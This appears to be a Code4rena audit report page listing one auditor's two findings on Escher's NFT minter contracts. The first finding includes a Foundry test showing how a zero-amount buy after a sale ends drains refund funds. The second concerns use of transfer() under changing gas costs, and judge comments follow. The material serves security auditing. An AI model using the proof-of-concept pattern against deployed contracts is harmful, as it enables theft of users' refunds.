Platform: Code4rena
Start Date: 06/12/2022
Pot Size: $36,500 USDC
Total HM: 16
Participants: 119
Period: 3 days
Judge: berndartmueller
Total Solo HM: 2
Id: 189
League: ETH
Rank: 61/119
Findings: 2
Award: $50.22
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: immeas
Also found by: 0x52, 0xDecorativePineapple, AkshaySrivastav, HollaDieWaldfee, aviggiano, bin2chen, cryptonue, evan, ey88, fs0c, gzeon, hansfriese, hihen, jayphbee, minhquanym, pauliax, reassor, saian, wait
49.6134 USDC - $49.61
https://github.com/code-423n4/2022-12-escher/blob/main/src/minters/LPDA.sol#L58 https://github.com/code-423n4/2022-12-escher/blob/main/src/minters/LPDA.sol#L81-L88
Users refunds from LPDA can be stolen by buy
ing with _amount
zero after the sale has ended.
This can happen because LPDA.buy
does not validate if the sale has previously ended before distributing the total sale amount and fees. As a result, calling buy
more than once will drain the contract, making users entitled to a refund lose what they are owed
See the following test scenario. Calling buy
with _amount
equal to 0
will make the contract insolvent and will not be able to pay refunds.
diff --git a/test/LPDA.t.sol b/test/LPDA.t.sol index 1c74700..c910216 100644 --- a/test/LPDA.t.sol +++ b/test/LPDA.t.sol @@ -104,6 +104,29 @@ contract LPDATest is LPDABase { sale.buy{value: 9 ether}(9); } + function test_SellsOut_BuyDoubled() public { + test_Buy(); + + sale.buy{value: 19 ether}(9); // this user is now entitled to a refund + + ( + uint48 amount, + uint80 balance + ) = sale.receipts(address(this)); + assertEq(amount, 10); + assertEq(balance, 20 ether); + assertEq(address(sale).balance, 10 ether, "sale can refund me for 10 ether"); + + sale.buy{value: 0}(0); // attacker makes the contract insolvent + ( + amount, + balance + ) = sale.receipts(address(this)); + assertEq(amount, 10); + assertEq(balance, 20 ether); + assertEq(address(sale).balance, 0, "sale does not have enough balance for refunds"); + } + function test_RevertsWhenSoldOut_Buy() public { test_SellsOut_Buy();
Foundry
Validate if _amount
is greater than zero.
#0 - c4-judge
2022-12-11T14:48:31Z
berndartmueller marked the issue as primary issue
#1 - c4-sponsor
2022-12-22T17:51:40Z
mehtaculous marked the issue as disagree with severity
#2 - berndartmueller
2023-01-04T10:09:00Z
Due to the high likelihood of this happening (either accidentally or purposefully) and the relatively easy mitigation, I consider High the appropriate severity.
#3 - c4-judge
2023-01-04T10:13:40Z
berndartmueller marked the issue as satisfactory
#4 - C4-Staff
2023-01-10T22:21:33Z
JeeberC4 marked the issue as duplicate of #441
🌟 Selected for report: RaymondFam
Also found by: 0xdeadbeef0x, 0xhacksmithh, AkshaySrivastav, Awesome, Bnke0x0, CRYP70, HollaDieWaldfee, JC, Parth, Rahoz, Tutturu, __141345__, ahmedov, ajtra, asgeir, aviggiano, bin2chen, btk, carrotsmuggler, cccz, chaduke, cryptonue, dic0de, fatherOfBlocks, fs0c, hansfriese, jonatascm, karanctf, ladboy233, lumoswiz, martin, obront, pashov, pauliax, rvierdiiev, shark, simon135, supernova, tourist, yellowBirdy, zapaz, zaskoh
0.6136 USDC - $0.61
https://github.com/code-423n4/2022-12-escher/blob/main/src/minters/FixedPrice.sol#L109 https://github.com/code-423n4/2022-12-escher/blob/main/src/minters/LPDA.sol#L85 https://github.com/code-423n4/2022-12-escher/blob/main/src/minters/LPDA.sol#L105 https://github.com/code-423n4/2022-12-escher/blob/main/src/minters/OpenEdition.sol#L92
Minters use transfer
to send Ether, which assumes gas costs are constant.
This is not true, as gas costs are not constant. They have changed in the past and might change again in the future, and smart contracts should be robust to this fact. Solidity’s transfer()
and send()
use a hardcoded gas amount, so these methods should be avoided.
A hardfork happens and changes the gas costs of some EVM operations. As a result, the function FixedPrice._end
stops working and users are unable to withdraw their funds.
Manual verification
Use .call.value(...)("")
instead.
See https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/
#0 - c4-judge
2022-12-10T00:31:20Z
berndartmueller marked the issue as duplicate of #99
#1 - c4-judge
2023-01-03T12:49:09Z
berndartmueller marked the issue as satisfactory